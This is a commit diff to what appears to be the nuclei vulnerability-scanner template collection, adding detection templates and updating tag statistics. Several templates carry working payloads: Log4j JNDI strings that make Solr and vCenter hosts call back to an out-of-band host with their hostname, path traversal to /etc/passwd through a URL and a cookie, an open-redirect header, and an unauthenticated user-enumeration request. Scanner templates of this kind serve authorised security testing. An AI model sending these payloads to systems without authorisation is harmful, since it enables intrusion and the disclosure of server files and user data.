update: added more reference

* update: added apache-solr-log4j-rce

Co-authored-by: Sandeep Singh <[email protected]>
Co-authored-by: GitHub Action <[email protected]>

.github/workflows/cve-annotate.yml

@@ -25,7 +25,7 @@ jobs:
         run: |
           if ! which cve-annotate > /dev/null; then
             echo -e "Command cve-annotate not found! Installing\c"
-            go install github.com/projectdiscovery/nuclei/v2/cmd/cve-annotate@dev
+            go install github.com/projectdiscovery/nuclei/v2/cmd/cve-annotate@latest
           fi
           cve-annotate -i ./cves/ -d .
           echo "::set-output name=changes::$(git status -s | wc -l)"

README.md

@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,
 
 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |   921 | daffainfo     |   354 | cves             |   927 | info     |   918 | http    |  2512 |
-| lfi       |   382 | dhiyaneshdk   |   342 | vulnerabilities  |   352 | high     |   695 | file    |    57 |
-| panel     |   321 | pikpikcu      |   287 | exposed-panels   |   321 | medium   |   528 | network |    47 |
+| cve       |   922 | daffainfo     |   354 | cves             |   928 | info     |   921 | http    |  2517 |
+| lfi       |   383 | dhiyaneshdk   |   342 | vulnerabilities  |   353 | high     |   696 | file    |    57 |
+| panel     |   324 | pikpikcu      |   287 | exposed-panels   |   324 | medium   |   528 | network |    47 |
 | xss       |   290 | pdteam        |   216 | technologies     |   226 | critical |   326 | dns     |    12 |
-| wordpress |   270 | geeknik       |   172 | exposures        |   196 | low      |   166 |         |       |
+| wordpress |   271 | geeknik       |   172 | exposures        |   196 | low      |   167 |         |       |
 | exposure  |   250 | dwisiswant0   |   158 | misconfiguration |   164 |          |       |         |       |
-| rce       |   231 | gy741         |    91 | token-spray      |   133 |          |       |         |       |
-| tech      |   230 | pussycat0x    |    91 | takeovers        |    65 |          |       |         |       |
-| cve2021   |   192 | 0x_akoko      |    77 | default-logins   |    63 |          |       |         |       |
-| wp-plugin |   186 | princechaddha |    72 | file             |    57 |          |       |         |       |
+| tech      |   233 | pussycat0x    |    94 | token-spray      |   133 |          |       |         |       |
+| rce       |   231 | gy741         |    91 | takeovers        |    65 |          |       |         |       |
+| cve2021   |   192 | 0x_akoko      |    79 | default-logins   |    63 |          |       |         |       |
+| wp-plugin |   187 | princechaddha |    72 | file             |    57 |          |       |         |       |
 
-**192 directories, 2700 files**.
+**192 directories, 2705 files**.
 
 </td>
 </tr>

TEMPLATES-STATS.json

@@ -1 +1 @@
-{"tags":[{"name":"cve","count":921},{"name":"lfi","count":382},{"name":"panel","count":321},{"name":"xss","count":290},{"name":"wordpress","count":270},{"name":"exposure","count":250},{"name":"rce","count":231},{"name":"tech","count":230},{"name":"cve2021","count":192},{"name":"wp-plugin","count":186},{"name":"cve2020","count":172},{"name":"token-spray","count":133},{"name":"joomla","count":128},{"name":"cve2010","count":109},{"name":"cve2019","count":106},{"name":"cve2018","count":102},{"name":"config","count":100},{"name":"iot","count":84},{"name":"apache","count":82},{"name":"oast","count":81},{"name":"default-login","count":72},{"name":"takeover","count":69},{"name":"token","count":68},{"name":"file","count":57},{"name":"unauth","count":57},{"name":"cve2017","count":56},{"name":"ssrf","count":47},{"name":"sqli","count":46},{"name":"","count":45},{"name":"network","count":45},{"name":"oracle","count":42},{"name":"misconfig","count":41},{"name":"cve2016","count":40},{"name":"redirect","count":40},{"name":"cve2014","count":36},{"name":"logs","count":34},{"name":"google","count":31},{"name":"cve2015","count":31},{"name":"jira","count":30},{"name":"cisco","count":29},{"name":"atlassian","count":29},{"name":"auth-bypass","count":29},{"name":"listing","count":29},{"name":"router","count":26},{"name":"generic","count":24},{"name":"disclosure","count":23},{"name":"misc","count":21},{"name":"aem","count":20},{"name":"cve2012","count":19},{"name":"debug","count":19},{"name":"login","count":19},{"name":"sap","count":18},{"name":"springboot","count":18},{"name":"php","count":16},{"name":"fuzz","count":16},{"name":"wp-theme","count":16},{"name":"weblogic","count":16},{"name":"aws","count":15},{"name":"devops","count":15},{"name":"cve2011","count":15},{"name":"deserialization","count":14},{"name":"adobe","count":14},{"name":"struts","count":14},{"name":"cve2009","count":14},{"name":"intrusive","count":13},{"name":"android","count":13},{"name":"dlink","count":13},{"name":"dns","count":13},{"name":"netsweeper","count":12},{"name":"zoho","count":12},{"name":"jenkins","count":12},{"name":"manageengine","count":12},{"name":"xxe","count":12},{"name":"magento","count":11},{"name":"microsoft","count":11},{"name":"cve2013","count":11},{"name":"ibm","count":11},{"name":"hp","count":11},{"name":"dell","count":10},{"name":"cms","count":10},{"name":"fileupload","count":9},{"name":"cve2008","count":9},{"name":"vmware","count":9},{"name":"ftp","count":9},{"name":"kubernetes","count":9},{"name":"rails","count":9},{"name":"airflow","count":9},{"name":"fastjson","count":9},{"name":"gitlab","count":9},{"name":"grafana","count":8},{"name":"cnvd","count":8},{"name":"netgear","count":8},{"name":"backup","count":8},{"name":"nginx","count":8},{"name":"scada","count":8},{"name":"ruijie","count":8},{"name":"coldfusion","count":8},{"name":"confluence","count":7},{"name":"solr","count":7},{"name":"files","count":7},{"name":"jolokia","count":7},{"name":"camera","count":7},{"name":"prometheus","count":7},{"name":"django","count":7},{"name":"glpi","count":6},{"name":"sitecore","count":6},{"name":"nodejs","count":6},{"name":"lucee","count":6},{"name":"citrix","count":6},{"name":"windows","count":6},{"name":"squirrelmail","count":6},{"name":"api","count":6},{"name":"jetty","count":6},{"name":"go","count":6},{"name":"laravel","count":6},{"name":"rconfig","count":6},{"name":"magmi","count":6},{"name":"phpmyadmin","count":6},{"name":"docker","count":6},{"name":"drupal","count":6},{"name":"java","count":5},{"name":"dedecms","count":5},{"name":"gocd","count":5},{"name":"iis","count":5},{"name":"symfony","count":5},{"name":"circarlife","count":5},{"name":"git","count":5},{"name":"ssti","count":5},{"name":"tomcat","count":5},{"name":"exchange","count":5},{"name":"crlf","count":5},{"name":"wso2","count":5},{"name":"fatpipe","count":5},{"name":"thinkphp","count":5},{"name":"minio","count":5},{"name":"headless","count":5},{"name":"printer","count":5},{"name":"bigip","count":4},{"name":"wcs","count":4},{"name":"firebase","count":4},{"name":"buffalo","count":4},{"name":"thinkcmf","count":4},{"name":"rfi","count":4},{"name":"webserver","count":4},{"name":"firmware","count":4},{"name":"artifactory","count":4},{"name":"moodle","count":4},{"name":"zimbra","count":4},{"name":"zabbix","count":4},{"name":"opensis","count":4},{"name":"amazon","count":4},{"name":"jellyfin","count":4},{"name":"keycloak","count":4},{"name":"enum","count":4},{"name":"solarwinds","count":4},{"name":"hongdian","count":4},{"name":"slack","count":4},{"name":"asp","count":4},{"name":"strapi","count":4},{"name":"npm","count":4},{"name":"resin","count":4},{"name":"traversal","count":4},{"name":"proxy","count":4},{"name":"symantec","count":4},{"name":"vpn","count":4},{"name":"maps","count":4},{"name":"microstrategy","count":4},{"name":"samsung","count":4},{"name":"elastic","count":4},{"name":"cve2007","count":4},{"name":"panos","count":4},{"name":"sql","count":3},{"name":"mongodb","count":3},{"namLine truncated
+{"tags":[{"name":"cve","count":922},{"name":"lfi","count":383},{"name":"panel","count":324},{"name":"xss","count":290},{"name":"wordpress","count":271},{"name":"exposure","count":250},{"name":"tech","count":233},{"name":"rce","count":231},{"name":"cve2021","count":192},{"name":"wp-plugin","count":187},{"name":"cve2020","count":172},{"name":"token-spray","count":133},{"name":"joomla","count":128},{"name":"cve2010","count":109},{"name":"cve2019","count":106},{"name":"cve2018","count":103},{"name":"config","count":100},{"name":"iot","count":84},{"name":"apache","count":82},{"name":"oast","count":81},{"name":"default-login","count":72},{"name":"takeover","count":69},{"name":"token","count":68},{"name":"unauth","count":57},{"name":"file","count":57},{"name":"cve2017","count":56},{"name":"ssrf","count":47},{"name":"sqli","count":46},{"name":"network","count":45},{"name":"","count":45},{"name":"oracle","count":42},{"name":"redirect","count":41},{"name":"misconfig","count":41},{"name":"cve2016","count":40},{"name":"cve2014","count":36},{"name":"logs","count":34},{"name":"cve2015","count":31},{"name":"google","count":31},{"name":"jira","count":30},{"name":"auth-bypass","count":29},{"name":"listing","count":29},{"name":"cisco","count":29},{"name":"atlassian","count":29},{"name":"router","count":26},{"name":"generic","count":24},{"name":"disclosure","count":23},{"name":"misc","count":21},{"name":"aem","count":20},{"name":"login","count":19},{"name":"debug","count":19},{"name":"cve2012","count":19},{"name":"springboot","count":18},{"name":"sap","count":18},{"name":"php","count":16},{"name":"fuzz","count":16},{"name":"weblogic","count":16},{"name":"wp-theme","count":16},{"name":"devops","count":15},{"name":"cve2011","count":15},{"name":"aws","count":15},{"name":"adobe","count":14},{"name":"cve2009","count":14},{"name":"struts","count":14},{"name":"deserialization","count":14},{"name":"dlink","count":13},{"name":"android","count":13},{"name":"dns","count":13},{"name":"intrusive","count":13},{"name":"zoho","count":12},{"name":"netsweeper","count":12},{"name":"manageengine","count":12},{"name":"xxe","count":12},{"name":"jenkins","count":12},{"name":"ibm","count":11},{"name":"microsoft","count":11},{"name":"hp","count":11},{"name":"magento","count":11},{"name":"cve2013","count":11},{"name":"cms","count":10},{"name":"dell","count":10},{"name":"vmware","count":9},{"name":"cve2008","count":9},{"name":"fastjson","count":9},{"name":"ftp","count":9},{"name":"kubernetes","count":9},{"name":"fileupload","count":9},{"name":"rails","count":9},{"name":"gitlab","count":9},{"name":"airflow","count":9},{"name":"cnvd","count":8},{"name":"ruijie","count":8},{"name":"scada","count":8},{"name":"grafana","count":8},{"name":"coldfusion","count":8},{"name":"backup","count":8},{"name":"nginx","count":8},{"name":"netgear","count":8},{"name":"solr","count":7},{"name":"files","count":7},{"name":"camera","count":7},{"name":"prometheus","count":7},{"name":"django","count":7},{"name":"confluence","count":7},{"name":"jolokia","count":7},{"name":"docker","count":6},{"name":"jetty","count":6},{"name":"laravel","count":6},{"name":"windows","count":6},{"name":"citrix","count":6},{"name":"sitecore","count":6},{"name":"lucee","count":6},{"name":"nodejs","count":6},{"name":"go","count":6},{"name":"phpmyadmin","count":6},{"name":"drupal","count":6},{"name":"squirrelmail","count":6},{"name":"glpi","count":6},{"name":"api","count":6},{"name":"rconfig","count":6},{"name":"magmi","count":6},{"name":"exchange","count":5},{"name":"circarlife","count":5},{"name":"iis","count":5},{"name":"minio","count":5},{"name":"ssti","count":5},{"name":"java","count":5},{"name":"tomcat","count":5},{"name":"symfony","count":5},{"name":"fatpipe","count":5},{"name":"printer","count":5},{"name":"git","count":5},{"name":"dedecms","count":5},{"name":"gocd","count":5},{"name":"wso2","count":5},{"name":"crlf","count":5},{"name":"headless","count":5},{"name":"thinkphp","count":5},{"name":"strapi","count":4},{"name":"bigip","count":4},{"name":"panos","count":4},{"name":"hongdian","count":4},{"name":"elastic","count":4},{"name":"maps","count":4},{"name":"enum","count":4},{"name":"firmware","count":4},{"name":"keycloak","count":4},{"name":"artifactory","count":4},{"name":"proxy","count":4},{"name":"rfi","count":4},{"name":"firebase","count":4},{"name":"amazon","count":4},{"name":"thinkcmf","count":4},{"name":"zimbra","count":4},{"name":"vpn","count":4},{"name":"buffalo","count":4},{"name":"cve2007","count":4},{"name":"npm","count":4},{"name":"solarwinds","count":4},{"name":"moodle","count":4},{"name":"wcs","count":4},{"name":"traversal","count":4},{"name":"samsung","count":4},{"name":"asp","count":4},{"name":"webserver","count":4},{"name":"slack","count":4},{"name":"jellyfin","count":4},{"name":"symantec","count":4},{"name":"microstrategy","count":4},{"name":"resin","count":4},{"name":"opensis","count":4},{"name":"zabbix","count":4},{"name":"cves","count":3},{"name":"cacti","count":3},{"nameLine truncated

TOP-10.md

@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |   921 | daffainfo     |   354 | cves             |   927 | info     |   918 | http    |  2512 |
-| lfi       |   382 | dhiyaneshdk   |   342 | vulnerabilities  |   352 | high     |   695 | file    |    57 |
-| panel     |   321 | pikpikcu      |   287 | exposed-panels   |   321 | medium   |   528 | network |    47 |
+| cve       |   922 | daffainfo     |   354 | cves             |   928 | info     |   921 | http    |  2517 |
+| lfi       |   383 | dhiyaneshdk   |   342 | vulnerabilities  |   353 | high     |   696 | file    |    57 |
+| panel     |   324 | pikpikcu      |   287 | exposed-panels   |   324 | medium   |   528 | network |    47 |
 | xss       |   290 | pdteam        |   216 | technologies     |   226 | critical |   326 | dns     |    12 |
-| wordpress |   270 | geeknik       |   172 | exposures        |   196 | low      |   166 |         |       |
+| wordpress |   271 | geeknik       |   172 | exposures        |   196 | low      |   167 |         |       |
 | exposure  |   250 | dwisiswant0   |   158 | misconfiguration |   164 |          |       |         |       |
-| rce       |   231 | gy741         |    91 | token-spray      |   133 |          |       |         |       |
-| tech      |   230 | pussycat0x    |    91 | takeovers        |    65 |          |       |         |       |
-| cve2021   |   192 | 0x_akoko      |    77 | default-logins   |    63 |          |       |         |       |
-| wp-plugin |   186 | princechaddha |    72 | file             |    57 |          |       |         |       |
+| tech      |   233 | pussycat0x    |    94 | token-spray      |   133 |          |       |         |       |
+| rce       |   231 | gy741         |    91 | takeovers        |    65 |          |       |         |       |
+| cve2021   |   192 | 0x_akoko      |    79 | default-logins   |    63 |          |       |         |       |
+| wp-plugin |   187 | princechaddha |    72 | file             |    57 |          |       |         |       |

cves/2017/CVE-2017-10974.yaml

@@ -33,6 +33,4 @@ requests:
 
       - type: dsl
         dsl:
-          - '!contains(tolower(body), "<html")'
-          - '!contains(tolower(body), "<HTML")'
-        condition: or
+          - '!contains(tolower(body), "<html")'

cves/2021/CVE-2021-24997.yaml

@@ -0,0 +1,34 @@
+id: CVE-2021-24997
+
+info:
+  name: CVE-2021-24997
+  author: Evan Rubinstein
+  description: Instances of the Guppy Wordpress extension up to 1.1 are vulnerable to an API disclosure vulnerability which allows remote unauthenticated attackrs to obtain all user IDs, and then use that information to make API requests to either get messages sent between users, or send messages posing as one user to another.
+  reference:
+    - https://www.exploit-db.com/exploits/50540
+    - https://patchstack.com/database/vulnerability/wp-guppy/wordpress-wp-guppy-plugin-1-2-sensitive-information-disclosure-vulnerability
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-24997
+  classification:
+    cvss-score: 5.4
+    cve-id: CVE-2021-24997
+    cwe-id: CWE-200
+  tags: wordpress,guppy,api,cve2021,cve,wp-plugin
+
+requests:
+  - method:
+    path:
+      - "{{BaseURL}}/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search="
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        part: body
+        words:
+          - '"guppyUsers":'
+          - '"userId":'
+          - '"type":'
+        condition: and

cves/2021/CVE-2021-39226.yaml

@@ -28,4 +28,4 @@ requests:
 
       - type: word
         words:
-          - '"isSnapshot":true'
+          - '"isSnapshot":true'

cves/2021/CVE-2021-43496.yaml

@@ -0,0 +1,27 @@
+id: CVE-2021-43496
+
+info:
+  name: Clustering LFI
+  author: Evan Rubinstein
+  severity: high
+  description: Clustering master branch as of commit 53e663e259bcfc8cdecb56c0bb255bd70bfcaa70 is affected by a directory traversal vulnerability. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
+  reference:
+    - https://github.com/varun-suresh/Clustering/issues/12
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-43496
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 7.5
+    cve-id: CVE-2021-43496
+    cwe-id: CWE-22
+  tags: cve,cve2021,lfi,clustering
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/img/../../../../../../etc/passwd"
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"

cves/2021/CVE-2021-44228.yaml

@@ -31,11 +31,11 @@ requests:
       - type: regex
         part: interactsh_request
         regex:
-          - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.interact(\.sh|sh\.com)'
+          - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
 
     extractors:
       - type: regex
         part: interactsh_request
         group: 1
         regex:
-          - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.interact(\.sh|sh\.com)'   # Extract ${hostName}
+          - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output

cves/2021/CVE-2021-44528.yaml

@@ -0,0 +1,31 @@
+id: CVE-2021-44528
+
+info:
+  name: Open Redirect in Host Authorization Middleware
+  author: geeknik
+  severity: low
+  description: Specially crafted "X-Forwarded-Host" headers in combination with certain "allowed host" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.
+  reference:
+    - https://seclists.org/oss-sec/2021/q4/att-160/7-0-host-authorzation-open-redirect.patch
+  tags: cve,cve2021,redirect
+
+requests:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        X-Forwarded-Host: //example.com
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: header
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$'
+
+      - type: status
+        status:
+          - 301
+          - 302
+          - 307
+          - 308

cves/2021/CVE-2021-45043.yaml

@@ -0,0 +1,33 @@
+id: CVE-2021-45043
+
+info:
+  name: HD-Network Real-time Monitoring System 2.0 - Local File Inclusion
+  author: Momen Eldawakhly,Evan Rubinstein
+  severity: high
+  description: Instances of HD-Netowrk Real-time Monitoring System version 2.0 are vulnerable to a Local File Inclusion (LFI) vulnerability which allows remote unauthenticate attackers to view important, confidnetial information.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-45043
+    - https://www.exploit-db.com/exploits/50588
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45043
+    - https://cyberguy0xd1.medium.com/my-cve-2021-45043-lfi-write-up-441dad30dd7f
+  metadata:
+    google-dork: intitle:"HD-Network Real-time Monitoring System V2.0"
+  tags: cve,cve2021,hdnetwork,lfi,iot,camera
+
+requests:
+  - raw:
+      - |
+        GET /language/lang HTTP/1.1
+        Host: {{Hostname}}
+        Referer: {{BaseURL}}
+        Cookie: s_asptitle=HD-Network%20Real-time%20Monitoring%20System%20V2.0; s_Language=../../../../../../../../../../../../../../etc/passwd; s_browsertype=2; s_ip=; s_port=; s_channum=; s_loginhandle=; s_httpport=; s_sn=; s_type=; s_devtype=
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:.*:0:0"
+
+      - type: status
+        status:
+          - 200

exposed-panels/defectdojo-panel.yaml

@@ -0,0 +1,19 @@
+id: defectdojo-panel
+
+info:
+  name: DefectDojo Exposure
+  author: Adam Crosser
+  severity: info
+  tags: panel
+  metadata:
+    shodan-query: 'html:"DefectDojo Logo"'
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/login?next='
+
+    matchers:
+      - type: word
+        words:
+          - "<img src=\"/static/dojo/img/logo.png\" alt=\"DefectDojo Logo"

exposed-panels/thruk-login.yaml

@@ -0,0 +1,28 @@
+id: thruk-login
+
+info:
+  name: thruk detect
+  author: ffffffff0x
+  severity: info
+  metadata:
+    fofa-query: title=="Thruk Monitoring Webinterface"
+  tags: thruk,panel
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/thruk/cgi-bin/login.cgi?thruk/"
+
+    redirects: true
+    max-redirects: 2
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<title>Thruk Monitoring Webinterface</title>'
+
+      - type: word
+        part: header
+        words:
+          - "thruk_test="

exposed-panels/yopass-panel.yaml

@@ -0,0 +1,19 @@
+id: yopass-panel
+
+info:
+  name: Yopass Application Exposure
+  author: Adam Crosser
+  severity: info
+  tags: panel
+  metadata:
+    shodan-query: 'title:"Yopass"'
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+
+    matchers:
+      - type: word
+        words:
+          - "<title>Yopass"

misconfiguration/formalms-install.yaml

@@ -0,0 +1,25 @@
+id: formalms-install
+
+info:
+  name: Formalms Exposed Installation
+  author: princechaddha
+  severity: high
+  tags: misconfig,formalms
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/install/'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<title>forma.lms installer</title>'
+          - '<h1>forma.lms - Installation</h1>'
+        condition: and
+
+      - type: status
+        status:
+          - 200

ssl/expired-ssl.yaml

@@ -0,0 +1,14 @@
+id: expired-ssl
+
+info:
+  name: Expired SSL Certificate
+  author: pdteam
+  severity: low
+  tags: ssl
+
+ssl:
+  - address: "{{Host}}:{{Port}}"
+    matchers:
+      - type: dsl
+        dsl:
+          - "unixtime() > not_after"

ssl/ssl-dns-names.yaml

@@ -0,0 +1,15 @@
+id: ssl-dns-names
+
+info:
+  name: SSL DNS Names
+  author: pdteam
+  severity: info
+  tags: ssl
+
+ssl:
+  - address: "{{Host}}:{{Port}}"
+
+    extractors:
+      - type: json
+        json:
+          - " .dns_names[]"

ssl/tls-version.yaml

@@ -0,0 +1,15 @@
+id: tls-version
+
+info:
+  name: TLS Version
+  author: pdteam
+  severity: info
+  tags: ssl
+
+ssl:
+  - address: "{{Host}}:{{Port}}"
+
+    extractors:
+      - type: json
+        json:
+          - " .tls_version"

vulnerabilities/apache/apache-solr-log4j-rce.yaml

@@ -0,0 +1,36 @@
+id: apache-solr-log4j-rce
+
+info:
+  name: Apache Solr Log4j JNDI RCE
+  author: Evan Rubinstein,nvn1729
+  severity: critical
+  description: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. This vulnerability affects Solr 7+.
+  reference:
+    - https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228
+    - https://twitter.com/sirifu4k1/status/1470011568834424837
+    - https://github.com/apache/solr/pull/454
+  tags: solr,oast,log4j,rce,apache
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/solr/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D.{{interactsh-url}}/a%7D"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol  # Confirms the DNS Interaction
+        words:
+          - "dns"
+
+      - type: regex
+        part: interactsh_request
+        regex:
+          - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
+
+    extractors:
+      - type: regex
+        part: interactsh_request
+        group: 1
+        regex:
+          - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output

vulnerabilities/vmware/vmware-vcenter-log4j-jndi-rce.yaml

@@ -0,0 +1,38 @@
+id: vmware-vcenter-log4j-jndi-rce
+
+info:
+  name: VMware VCenter Log4j JNDI RCE
+  author: _0xf4n9x_
+  severity: high
+  description: A critical vulnerability in Apache Log4j identified by CVE-2021-44228 has been publicly disclosed that may allow for remote code execution in impacted VMware VCenter.
+  reference:
+    - https://www.vmware.com/security/advisories/VMSA-2021-0028.html
+    - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
+    - https://twitter.com/tnpitsecurity/status/1469429810216771589
+  tags: rce,jndi,log4j,vcenter,vmware
+
+requests:
+  - raw:
+      - |
+        GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
+        Host: {{Hostname}}
+        X-Forwarded-For: ${jndi:${lower:d}n${lower:s}://${env:hostName}.{{interactsh-url}}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol  # Confirms the DNS Interaction
+        words:
+          - "dns"
+
+      - type: regex
+        part: interactsh_request
+        regex:
+          - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
+
+    extractors:
+      - type: regex
+        part: interactsh_request
+        group: 1
+        regex:
+          - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output